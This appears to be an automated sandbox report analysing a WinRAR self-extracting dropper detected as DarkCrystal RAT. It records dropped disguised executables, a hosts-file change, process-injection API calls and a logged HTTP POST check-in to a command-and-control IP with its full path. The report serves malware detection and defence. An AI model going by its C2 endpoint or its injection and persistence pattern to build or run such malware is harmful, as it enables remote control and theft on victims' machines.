Source: C:\Users\user\AppData\Local\Temp\GargantuaN.exe	ReversingLabs: Detection: 52%
Source: C:\Users\user\AppData\Local\Temp\GargantuaN.exe	Virustotal: Detection: 52%	Perma Link
Source: C:\Users\user\AppData\Local\Temp\GargantuanS.exe	ReversingLabs: Detection: 81%
Source: C:\Users\user\AppData\Local\Temp\GargantuanS.exe	Virustotal: Detection: 61%	Perma Link
Source: C:\Users\user\Desktop\IkSFhrpY.log	Virustotal: Detection: 25%	Perma Link
Source: C:\Users\user\Desktop\KEMGRwnV.log	ReversingLabs: Detection: 66%
Source: C:\Users\user\Desktop\KEMGRwnV.log	Virustotal: Detection: 69%	Perma Link
Source: C:\Users\user\Desktop\LugVktua.log	Virustotal: Detection: 19%	Perma Link
Source: C:\Users\user\Desktop\WiKMUFpI.log	ReversingLabs: Detection: 66%
Source: C:\Users\user\Desktop\WiKMUFpI.log	Virustotal: Detection: 69%	Perma Link
Source: C:\Users\user\Desktop\msAjSsFc.log	Virustotal: Detection: 25%	Perma Link
Source: C:\Users\user\Desktop\phOzxInG.log	Virustotal: Detection: 11%	Perma Link
Source: C:\Users\user\Desktop\vsaRQqFM.log	Virustotal: Detection: 11%	Perma Link
Source: C:\Users\user\Desktop\zQhPhksn.log	Virustotal: Detection: 19%	Perma Link
Source: C:\Windows\Provisioning\Packages\KZcLqgnLvRf.exe	ReversingLabs: Detection: 87%
Source: C:\Windows\Provisioning\Packages\KZcLqgnLvRf.exe	Virustotal: Detection: 73%	Perma Link
Source: C:\Windows\RemotePackages\RemoteDesktops\KZcLqgnLvRf.exe	ReversingLabs: Detection: 87%
Source: C:\Windows\RemotePackages\RemoteDesktops\KZcLqgnLvRf.exe	Virustotal: Detection: 73%	Perma Link

Multi AV Scanner detection for submitted file

Source: C792057CB761DA8872421A6C906C4481B260BDB5D27B8.exe	ReversingLabs: Detection: 60%
Source: C792057CB761DA8872421A6C906C4481B260BDB5D27B8.exe	Virustotal: Detection: 69%			Perma Link

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\GargantuaN.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Joe Sandbox ML: detected
Source: C:\Recovery\RuntimeBroker.exe	Joe Sandbox ML: detected
Source: C:\PerfDll\hyperProviderSavesinto.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Joe Sandbox ML: detected
Source: C:\Recovery\WmiPrvSE.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Joe Sandbox ML: detected

Source: unknown

HTTPS traffic detected: 176.123.168.151:443 -> 192.168.2.4:49738 version: TLS 1.2

Source: C792057CB761DA8872421A6C906C4481B260BDB5D27B8.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE

Source:	Binary string: D:\Projects\WinRAR\sfx\build\sfxrar32\Release\sfxrar.pdb source: GargantuaN.exe, 00000001.00000000.1635712049.0000000000D83000.00000002.00000001.01000000.00000009.sdmp, GargantuaN.exe, 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmp, GargantuaN.exe, 00000001.00000003.1637953778.0000000006D7B000.00000004.00000020.00020000.00000000.sdmp, GargantuaN.exe, 00000001.00000003.1638428127.00000000057FF000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\Projects\WinRAR\sfx\build\sfxzip64\Release\sfxzip.pdb source: C792057CB761DA8872421A6C906C4481B260BDB5D27B8.exe, 00000000.00000000.1628945437.00007FF7F4D9B000.00000002.00000001.01000000.00000003.sdmp, C792057CB761DA8872421A6C906C4481B260BDB5D27B8.exe, 00000000.00000002.1639090059.00007FF7F4D9B000.00000002.00000001.01000000.00000003.sdmp

Source: C:\Users\user\Desktop\C792057CB761DA8872421A6C906C4481B260BDB5D27B8.exe	Code function: 0_2_00007FF7F4D7ECA0 EndDialog,SetDlgItemTextW,GetMessageW,IsDialogMessageW,TranslateMessage,DispatchMessageW,EndDialog,GetDlgItem,IsDlgButtonChecked,IsDlgButtonChecked,SetFocus,GetLastError,GetLastError,GetTickCount,GetLastError,GetCommandLineW,CreateFileMappingW,MapViewOfFile,ShellExecuteExW,Sleep,UnmapViewOfFile,CloseHandle,SetDlgItemTextW,SetDlgItemTextW,GetDlgItem,GetWindowLongPtrW,SetWindowLongPtrW,SetDlgItemTextW,IsDlgButtonChecked,SendDlgItemMessageW,GetDlgItem,IsDlgButtonChecked,GetDlgItem,SetDlgItemTextW,SetDlgItemTextW,DialogBoxParamW,EndDialog,EnableWindow,IsDlgButtonChecked,SetDlgItemTextW,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,SendDlgItemMessageW,EndDialog,GetDlgItem,SetFocus,SendDlgItemMessageW,FindFirstFileW,FindClose,SendDlgItemMessageW,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,	0_2_00007FF7F4D7ECA0
Source: C:\Users\user\Desktop\C792057CB761DA8872421A6C906C4481B260BDB5D27B8.exe	Code function: 0_2_00007FF7F4D6647C FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,	0_2_00007FF7F4D6647C
Source: C:\Users\user\Desktop\C792057CB761DA8872421A6C906C4481B260BDB5D27B8.exe	Code function: 0_2_00007FF7F4D930F0 FindFirstFileExA,	0_2_00007FF7F4D930F0
Source: C:\Users\user\AppData\Local\Temp\GargantuaN.exe	Code function: 1_2_00D5A69B FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,	1_2_00D5A69B
Source: C:\Users\user\AppData\Local\Temp\GargantuaN.exe	Code function: 1_2_00D6C220 SendDlgItemMessageW,EndDialog,GetDlgItem,SetFocus,SetDlgItemTextW,SendDlgItemMessageW,FindFirstFileW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,FindClose,_swprintf,SetDlgItemTextW,SendDlgItemMessageW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,_swprintf,SetDlgItemTextW,	1_2_00D6C220
Source: C:\Windows\System32\conhost.exe	Code function: 7_2_000001B0BB98DCE0 FindFirstFileExW,	7_2_000001B0BB98DCE0
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Code function: 9_2_00000216D26FDCE0 FindFirstFileExW,	9_2_00000216D26FDCE0
Source: C:\Windows\System32\cmd.exe	Code function: 38_2_00000150E93EDCE0 FindFirstFileExW,	38_2_00000150E93EDCE0
Source: C:\Windows\System32\conhost.exe	Code function: 40_2_00000267FCE9DCE0 FindFirstFileExW,	40_2_00000267FCE9DCE0
Source: C:\Windows\System32\PING.EXE	Code function: 45_2_000002359B52DCE0 FindFirstFileExW,	45_2_000002359B52DCE0
Source: C:\Windows\System32\winlogon.exe	Code function: 49_2_00000225DC64DCE0 FindFirstFileExW,	49_2_00000225DC64DCE0

Source: C:\PerfDll\hyperProviderSavesinto.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\PerfDll\hyperProviderSavesinto.exe	File opened: C:\Users\user\Documents\desktop.ini	Jump to behavior
Source: C:\PerfDll\hyperProviderSavesinto.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\PerfDll\hyperProviderSavesinto.exe	File opened: C:\Users\user\AppData\Local\Temp	Jump to behavior
Source: C:\PerfDll\hyperProviderSavesinto.exe	File opened: C:\Users\user\Desktop\desktop.ini	Jump to behavior
Source: C:\PerfDll\hyperProviderSavesinto.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior

Source: C:\PerfDll\hyperProviderSavesinto.exe	Code function: 4x nop then mov dword ptr [ebp-04h], 7FFFFFFFh		8_2_00007FFD9BC4D87D
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Code function: 4x nop then mov dword ptr [ebp-04h], 7FFFFFFFh		20_2_00007FFD9BC7D87D

Networking

Snort IDS alert for network traffic

Source: Traffic

Snort IDS: 2048095 ET TROJAN [ANY.RUN] DarkCrystal Rat Check-in (POST) 192.168.2.4:49730 -> 176.123.168.151:80

Uses ping.exe to check the status of other devices and networks

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\PING.EXE ping -n 10 localhost

Source: Joe Sandbox View

ASN Name: SPEEDYLINERU SPEEDYLINERU

Source: Joe Sandbox View

JA3 fingerprint: c12f54a3f91dc7bafd92cb59fe009a35

Source: global traffic

HTTP traffic detected: POST /4track/TesttrafficEternal/private3/Secure7db/7private3/WordpressLocal/Windows/cpuvoiddbtraffic/2Base/ProviderExternalpipeJavascriptupdateSqldbasyncTemporary.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 176.123.168.151Content-Length: 344Expect: 100-continueConnection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 176.123.168.151
Source: unknown	TCP traffic detected without corresponding DNS query: 176.123.168.151
Source: unknown	TCP traffic detected without corresponding DNS query: 176.123.168.151
Source: unknown	TCP traffic detected without corresponding DNS query: 176.123.168.151
Source: unknown	TCP traffic detected without corresponding DNS query: 176.123.168.151
Source: unknown	TCP traffic detected without corresponding DNS query: 176.123.168.151
Source: unknown	TCP traffic detected without corresponding DNS query: 176.123.168.151
Source: unknown	TCP traffic detected without corresponding DNS query: 176.123.168.151
Source: unknown	TCP traffic detected without corresponding DNS query: 176.123.168.151
Source: unknown	TCP traffic detected without corresponding DNS query: 176.123.168.151
Source: unknown	TCP traffic detected without corresponding DNS query: 176.123.168.151
Source: unknown	TCP traffic detected without corresponding DNS query: 176.123.168.151
Source: unknown	TCP traffic detected without corresponding DNS query: 176.123.168.151
Source: unknown	TCP traffic detected without corresponding DNS query: 176.123.168.151

Source: unknown

Source: KZcLqgnLvRf.exe, 00000014.00000002.2886107190.00000000035B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://176.123.168.151
Source: KZcLqgnLvRf.exe, 00000014.00000002.2886107190.00000000035B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://176.123.168.151/4track/TesttrafficEternal/private3/Secure7db/7private3/WordpressLocal/Windows
Source: hyperProviderSavesinto.exe, 00000008.00000002.1733479923.0000000003304000.00000004.00000800.00020000.00000000.sdmp, KZcLqgnLvRf.exe, 00000014.00000002.2886107190.00000000035B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: KZcLqgnLvRf.exe, 00000014.00000002.2886107190.00000000036B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://176.123.168.151
Source: KZcLqgnLvRf.exe, 00000014.00000002.2886107190.00000000036B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://176.123.168.151/4track/TesttrafficEternal/private3/Secure7db/7private3/WordpressLocal/Window

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443

Source: unknown

HTTPS traffic detected: 176.123.168.151:443 -> 192.168.2.4:49738 version: TLS 1.2

Spam, unwanted Advertisements and Ransom Demands

Modifies the hosts file

Source: C:\Users\user\AppData\Local\Temp\GargantuanS.exe

File written: C:\Windows\System32\drivers\etc\hosts

Jump to behavior

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\SysWOW64\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Source: C:\Windows\System32\cmd.exe	Code function: 38_2_00000150E93E253C NtQueryDirectoryFileEx,GetFileType,StrCpyW,	38_2_00000150E93E253C
Source: C:\Windows\System32\cmd.exe	Code function: 38_2_00000150E93E202C NtQuerySystemInformation,StrCmpNIW,	38_2_00000150E93E202C
Source: C:\Windows\System32\cmd.exe	Code function: 38_2_00000150E93E2244 GetProcessIdOfThread,GetCurrentProcessId,CreateFileW,WriteFile,ReadFile,CloseHandle,NtResumeThread,	38_2_00000150E93E2244
Source: C:\Windows\System32\dialer.exe	Code function: 46_2_00000001400010C0 OpenProcess,OpenProcess,K32GetModuleFileNameExW,PathFindFileNameW,lstrlenW,StrCpyW,CloseHandle,StrCmpIW,NtQueryInformationProcess,OpenProcessToken,GetTokenInformation,GetLastError,LocalAlloc,GetTokenInformation,GetSidSubAuthorityCount,GetSidSubAuthority,LocalFree,CloseHandle,StrStrA,VirtualAllocEx,WriteProcessMemory,NtCreateThreadEx,WaitForSingleObject,GetExitCodeThread,FindCloseChangeNotification,CloseHandle,	46_2_00000001400010C0
Source: C:\Windows\System32\winlogon.exe	Code function: 49_2_00000225DC6428C8 NtEnumerateValueKey,NtEnumerateValueKey,	49_2_00000225DC6428C8

Source: C:\Users\user\AppData\Local\Temp\GargantuaN.exe

Code function: 1_2_00D56FAA: __EH_prolog,_wcslen,_wcslen,CreateFileW,CloseHandle,CreateDirectoryW,CreateFileW,DeviceIoControl,CloseHandle,GetLastError,RemoveDirectoryW,DeleteFileW,

1_2_00D56FAA

Source: C:\PerfDll\hyperProviderSavesinto.exe	File created: C:\Windows\Provisioning\Packages\KZcLqgnLvRf.exe	Jump to behavior
Source: C:\PerfDll\hyperProviderSavesinto.exe	File created: C:\Windows\Provisioning\Packages\e3a74901549792	Jump to behavior
Source: C:\PerfDll\hyperProviderSavesinto.exe	File created: C:\Windows\RemotePackages\RemoteDesktops\KZcLqgnLvRf.exe	Jump to behavior
Source: C:\PerfDll\hyperProviderSavesinto.exe	File created: C:\Windows\RemotePackages\RemoteDesktops\e3a74901549792	Jump to behavior

Source: C:\Users\user\Desktop\C792057CB761DA8872421A6C906C4481B260BDB5D27B8.exe	Code function: 0_2_00007FF7F4D75664	0_2_00007FF7F4D75664
Source: C:\Users\user\Desktop\C792057CB761DA8872421A6C906C4481B260BDB5D27B8.exe	Code function: 0_2_00007FF7F4D83FCC	0_2_00007FF7F4D83FCC
Source: C:\Users\user\Desktop\C792057CB761DA8872421A6C906C4481B260BDB5D27B8.exe	Code function: 0_2_00007FF7F4D6A8AC	0_2_00007FF7F4D6A8AC
Source: C:\Users\user\Desktop\C792057CB761DA8872421A6C906C4481B260BDB5D27B8.exe	Code function: 0_2_00007FF7F4D80998	0_2_00007FF7F4D80998
Source: C:\Users\user\Desktop\C792057CB761DA8872421A6C906C4481B260BDB5D27B8.exe	Code function: 0_2_00007FF7F4D7625C	0_2_00007FF7F4D7625C
Source: C:\Users\user\Desktop\C792057CB761DA8872421A6C906C4481B260BDB5D27B8.exe	Code function: 0_2_00007FF7F4D6DC08	0_2_00007FF7F4D6DC08
Source: C:\Users\user\Desktop\C792057CB761DA8872421A6C906C4481B260BDB5D27B8.exe	Code function: 0_2_00007FF7F4D7ECA0	0_2_00007FF7F4D7ECA0
Source: C:\Users\user\Desktop\C792057CB761DA8872421A6C906C4481B260BDB5D27B8.exe	Code function: 0_2_00007FF7F4D8BDB8	0_2_00007FF7F4D8BDB8
Source: C:\Users\user\Desktop\C792057CB761DA8872421A6C906C4481B260BDB5D27B8.exe	Code function: 0_2_00007FF7F4D6BF08	0_2_00007FF7F4D6BF08
Source: C:\Users\user\Desktop\C792057CB761DA8872421A6C906C4481B260BDB5D27B8.exe	Code function: 0_2_00007FF7F4D92EE4	0_2_00007FF7F4D92EE4
Source: C:\Users\user\Desktop\C792057CB761DA8872421A6C906C4481B260BDB5D27B8.exe	Code function: 0_2_00007FF7F4D98FC8	0_2_00007FF7F4D98FC8
Source: C:\Users\user\Desktop\C792057CB761DA8872421A6C906C4481B260BDB5D27B8.exe	Code function: 0_2_00007FF7F4D6E8D8	0_2_00007FF7F4D6E8D8
Source: C:\Users\user\Desktop\C792057CB761DA8872421A6C906C4481B260BDB5D27B8.exe	Code function: 0_2_00007FF7F4D8C034	0_2_00007FF7F4D8C034
Source: C:\Users\user\Desktop\C792057CB761DA8872421A6C906C4481B260BDB5D27B8.exe	Code function: 0_2_00007FF7F4D7C9F0	0_2_00007FF7F4D7C9F0
Source: C:\Users\user\Desktop\C792057CB761DA8872421A6C906C4481B260BDB5D27B8.exe	Code function: 0_2_00007FF7F4D959A0	0_2_00007FF7F4D959A0
Source: C:\Users\user\Desktop\C792057CB761DA8872421A6C906C4481B260BDB5D27B8.exe	Code function: 0_2_00007FF7F4D6B944	0_2_00007FF7F4D6B944
Source: C:\Users\user\Desktop\C792057CB761DA8872421A6C906C4481B260BDB5D27B8.exe	Code function: 0_2_00007FF7F4D83FCC	0_2_00007FF7F4D83FCC
Source: C:\Users\user\Desktop\C792057CB761DA8872421A6C906C4481B260BDB5D27B8.exe	Code function: 0_2_00007FF7F4D6B314	0_2_00007FF7F4D6B314
Source: C:\Users\user\Desktop\C792057CB761DA8872421A6C906C4481B260BDB5D27B8.exe	Code function: 0_2_00007FF7F4D672AC	0_2_00007FF7F4D672AC
Source: C:\Users\user\Desktop\C792057CB761DA8872421A6C906C4481B260BDB5D27B8.exe	Code function: 0_2_00007FF7F4D8FCD8	0_2_00007FF7F4D8FCD8
Source: C:\Users\user\Desktop\C792057CB761DA8872421A6C906C4481B260BDB5D27B8.exe	Code function: 0_2_00007FF7F4D954D0	0_2_00007FF7F4D954D0
Source: C:\Users\user\AppData\Local\Temp\GargantuaN.exe	Code function: 1_2_00D5848E	1_2_00D5848E
Source: C:\Users\user\AppData\Local\Temp\GargantuaN.exe	Code function: 1_2_00D540FE	1_2_00D540FE
Source: C:\Users\user\AppData\Local\Temp\GargantuaN.exe	Code function: 1_2_00D64088	1_2_00D64088
Source: C:\Users\user\AppData\Local\Temp\GargantuaN.exe	Code function: 1_2_00D600B7	1_2_00D600B7
Source: C:\Users\user\AppData\Local\Temp\GargantuaN.exe	Code function: 1_2_00D751C9	1_2_00D751C9
Source: C:\Users\user\AppData\Local\Temp\GargantuaN.exe	Code function: 1_2_00D67153	1_2_00D67153
Source: C:\Users\user\AppData\Local\Temp\GargantuaN.exe	Code function: 1_2_00D662CA	1_2_00D662CA
Source: C:\Users\user\AppData\Local\Temp\GargantuaN.exe	Code function: 1_2_00D532F7	1_2_00D532F7
Source: C:\Users\user\AppData\Local\Temp\GargantuaN.exe	Code function: 1_2_00D643BF	1_2_00D643BF
Source: C:\Users\user\AppData\Local\Temp\GargantuaN.exe	Code function: 1_2_00D7D440	1_2_00D7D440
Source: C:\Users\user\AppData\Local\Temp\GargantuaN.exe	Code function: 1_2_00D5F461	1_2_00D5F461
Source: C:\Users\user\AppData\Local\Temp\GargantuaN.exe	Code function: 1_2_00D5C426	1_2_00D5C426
Source: C:\Users\user\AppData\Local\Temp\GargantuaN.exe	Code function: 1_2_00D677EF	1_2_00D677EF
Source: C:\Users\user\AppData\Local\Temp\GargantuaN.exe	Code function: 1_2_00D7D8EE	1_2_00D7D8EE
Source: C:\Users\user\AppData\Local\Temp\GargantuaN.exe	Code function: 1_2_00D5286B	1_2_00D5286B
Source: C:\Users\user\AppData\Local\Temp\GargantuaN.exe	Code function: 1_2_00D819F4	1_2_00D819F4
Source: C:\Users\user\AppData\Local\Temp\GargantuaN.exe	Code function: 1_2_00D5E9B7	1_2_00D5E9B7
Source: C:\Users\user\AppData\Local\Temp\GargantuaN.exe	Code function: 1_2_00D66CDC	1_2_00D66CDC
Source: C:\Users\user\AppData\Local\Temp\GargantuaN.exe	Code function: 1_2_00D63E0B	1_2_00D63E0B
Source: C:\Users\user\AppData\Local\Temp\GargantuaN.exe	Code function: 1_2_00D5EFE2	1_2_00D5EFE2
Source: C:\Users\user\AppData\Local\Temp\GargantuaN.exe	Code function: 1_2_00D74F9A	1_2_00D74F9A
Source: C:\Windows\System32\conhost.exe	Code function: 7_2_000001B0BB951F2C	7_2_000001B0BB951F2C
Source: C:\Windows\System32\conhost.exe	Code function: 7_2_000001B0BB95D0E0	7_2_000001B0BB95D0E0
Source: C:\Windows\System32\conhost.exe	Code function: 7_2_000001B0BB9638A8	7_2_000001B0BB9638A8
Source: C:\Windows\System32\conhost.exe	Code function: 7_2_000001B0BB982B2C	7_2_000001B0BB982B2C
Source: C:\Windows\System32\conhost.exe	Code function: 7_2_000001B0BB98DCE0	7_2_000001B0BB98DCE0
Source: C:\Windows\System32\conhost.exe	Code function: 7_2_000001B0BB9944A8	7_2_000001B0BB9944A8
Source: C:\PerfDll\hyperProviderSavesinto.exe	Code function: 8_2_00007FFD9BA90D7C	8_2_00007FFD9BA90D7C
Source: C:\PerfDll\hyperProviderSavesinto.exe	Code function: 8_2_00007FFD9BC56BFB	8_2_00007FFD9BC56BFB
Source: C:\PerfDll\hyperProviderSavesinto.exe	Code function: 8_2_00007FFD9BC55377	8_2_00007FFD9BC55377
Source: C:\PerfDll\hyperProviderSavesinto.exe	Code function: 8_2_00007FFD9BC462F3	8_2_00007FFD9BC462F3
Source: C:\PerfDll\hyperProviderSavesinto.exe	Code function: 8_2_00007FFD9BC554FA	8_2_00007FFD9BC554FA
Source: C:\PerfDll\hyperProviderSavesinto.exe	Code function: 8_2_00007FFD9BC43CE9	8_2_00007FFD9BC43CE9
Source: C:\PerfDll\hyperProviderSavesinto.exe	Code function: 8_2_00007FFD9BC40CAF	8_2_00007FFD9BC40CAF
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Code function: 9_2_00000216D26C1F2C	9_2_00000216D26C1F2C
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Code function: 9_2_00000216D26D38A8	9_2_00000216D26D38A8
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Code function: 9_2_00000216D26CD0E0	9_2_00000216D26CD0E0
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Code function: 9_2_00000216D26F2B2C	9_2_00000216D26F2B2C
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Code function: 9_2_00000216D27044A8	9_2_00000216D27044A8
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Code function: 9_2_00000216D26FDCE0	9_2_00000216D26FDCE0
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Code function: 20_2_00007FFD9BAC0D7C	20_2_00007FFD9BAC0D7C
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Code function: 20_2_00007FFD9BC85377	20_2_00007FFD9BC85377
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Code function: 20_2_00007FFD9BC854FA	20_2_00007FFD9BC854FA
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Code function: 20_2_00007FFD9BC73CE9	20_2_00007FFD9BC73CE9
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Code function: 20_2_00007FFD9BC70CAF	20_2_00007FFD9BC70CAF
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Code function: 26_2_00007FFD9BAA0D7C	26_2_00007FFD9BAA0D7C
Source: C:\Windows\System32\cmd.exe	Code function: 38_2_00000150E90538A8	38_2_00000150E90538A8
Source: C:\Windows\System32\cmd.exe	Code function: 38_2_00000150E904D0E0	38_2_00000150E904D0E0
Source: C:\Windows\System32\cmd.exe	Code function: 38_2_00000150E9041F2C	38_2_00000150E9041F2C
Source: C:\Windows\System32\cmd.exe	Code function: 38_2_00000150E93F44A8	38_2_00000150E93F44A8
Source: C:\Windows\System32\cmd.exe	Code function: 38_2_00000150E93EDCE0	38_2_00000150E93EDCE0
Source: C:\Windows\System32\cmd.exe	Code function: 38_2_00000150E93E2B2C	38_2_00000150E93E2B2C
Source: C:\Windows\System32\conhost.exe	Code function: 40_2_00000267FCE61F2C	40_2_00000267FCE61F2C
Source: C:\Windows\System32\conhost.exe	Code function: 40_2_00000267FCE6D0E0	40_2_00000267FCE6D0E0
Source: C:\Windows\System32\conhost.exe	Code function: 40_2_00000267FCE738A8	40_2_00000267FCE738A8
Source: C:\Windows\System32\conhost.exe	Code function: 40_2_00000267FCE92B2C	40_2_00000267FCE92B2C
Source: C:\Windows\System32\conhost.exe	Code function: 40_2_00000267FCE9DCE0	40_2_00000267FCE9DCE0
Source: C:\Windows\System32\conhost.exe	Code function: 40_2_00000267FCEA44A8	40_2_00000267FCEA44A8
Source: C:\Windows\System32\PING.EXE	Code function: 45_2_000002359B4F1F2C	45_2_000002359B4F1F2C
Source: C:\Windows\System32\PING.EXE	Code function: 45_2_000002359B4FD0E0	45_2_000002359B4FD0E0
Source: C:\Windows\System32\PING.EXE	Code function: 45_2_000002359B5038A8	45_2_000002359B5038A8
Source: C:\Windows\System32\PING.EXE	Code function: 45_2_000002359B53AEC2	45_2_000002359B53AEC2
Source: C:\Windows\System32\PING.EXE	Code function: 45_2_000002359B522B2C	45_2_000002359B522B2C
Source: C:\Windows\System32\PING.EXE	Code function: 45_2_000002359B52DCE0	45_2_000002359B52DCE0
Source: C:\Windows\System32\PING.EXE	Code function: 45_2_000002359B5344A8	45_2_000002359B5344A8
Source: C:\Windows\System32\PING.EXE	Code function: 45_2_000002359B53A922	45_2_000002359B53A922
Source: C:\Windows\System32\dialer.exe	Code function: 46_2_000000014000226C	46_2_000000014000226C
Source: C:\Windows\System32\dialer.exe	Code function: 46_2_00000001400014D8	46_2_00000001400014D8
Source: C:\Windows\System32\dialer.exe	Code function: 46_2_0000000140002560	46_2_0000000140002560
Source: C:\Windows\System32\winlogon.exe	Code function: 49_2_00000225DC611F2C	49_2_00000225DC611F2C
Source: C:\Windows\System32\winlogon.exe	Code function: 49_2_00000225DC61D0E0	49_2_00000225DC61D0E0
Source: C:\Windows\System32\winlogon.exe	Code function: 49_2_00000225DC6238A8	49_2_00000225DC6238A8
Source: C:\Windows\System32\winlogon.exe	Code function: 49_2_00000225DC642B2C	49_2_00000225DC642B2C
Source: C:\Windows\System32\winlogon.exe	Code function: 49_2_00000225DC64DCE0	49_2_00000225DC64DCE0
Source: C:\Windows\System32\winlogon.exe	Code function: 49_2_00000225DC6544A8	49_2_00000225DC6544A8

Source: Joe Sandbox View

Dropped File: C:\Users\user\Desktop\IkSFhrpY.log 2B93377EA087225820A9F8E4F331005A0C600D557242366F06E0C1EAE003D669

Source: C:\Users\user\AppData\Local\Temp\GargantuaN.exe	Code function: String function: 00D6EB78 appears 39 times
Source: C:\Users\user\AppData\Local\Temp\GargantuaN.exe	Code function: String function: 00D6F5F0 appears 31 times
Source: C:\Users\user\AppData\Local\Temp\GargantuaN.exe	Code function: String function: 00D6EC50 appears 56 times

Source: C792057CB761DA8872421A6C906C4481B260BDB5D27B8.exe, 00000000.00000002.1639127214.00007FF7F4DB6000.00000004.00000001.01000000.00000003.sdmp

Binary or memory string: OriginalFilenameVisualStudio.Shell.Framework.dll$ vs C792057CB761DA8872421A6C906C4481B260BDB5D27B8.exe

Source: hyperProviderSavesinto.exe.1.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: KZcLqgnLvRf.exe.8.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: RuntimeBroker.exe.8.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: KZcLqgnLvRf.exe0.8.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: KZcLqgnLvRf.exe1.8.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: classification engine

Classification label: mal100.troj.adwa.evad.winEXE@77/37@0/1

Source: C:\Users\user\Desktop\C792057CB761DA8872421A6C906C4481B260BDB5D27B8.exe

Code function: 0_2_00007FF7F4D63BF8 GetLastError,FormatMessageW,LocalFree,

0_2_00007FF7F4D63BF8

Source: C:\Windows\System32\dialer.exe

Code function: 46_2_000000014000226C GetCurrentProcessId,OpenProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,FindCloseChangeNotification,FindResourceA,SizeofResource,LoadResource,LockResource,GetCurrentProcessId,RegCreateKeyExW,ConvertStringSecurityDescriptorToSecurityDescriptorW,RegSetKeySecurity,LocalFree,RegCreateKeyExW,GetCurrentProcessId,RegSetValueExW,RegCloseKey,RegCloseKey,CreateThread,GetProcessHeap,HeapAlloc,CreateThread,CreateThread,SleepEx,

46_2_000000014000226C

Source: C:\Windows\System32\dialer.exe

Code function: 46_2_00000001400019C4 SysAllocString,SysAllocString,CoInitializeEx,CoInitializeSecurity,CoCreateInstance,VariantInit,CoUninitialize,SysFreeString,SysFreeString,

46_2_00000001400019C4

Source: C:\Users\user\Desktop\C792057CB761DA8872421A6C906C4481B260BDB5D27B8.exe

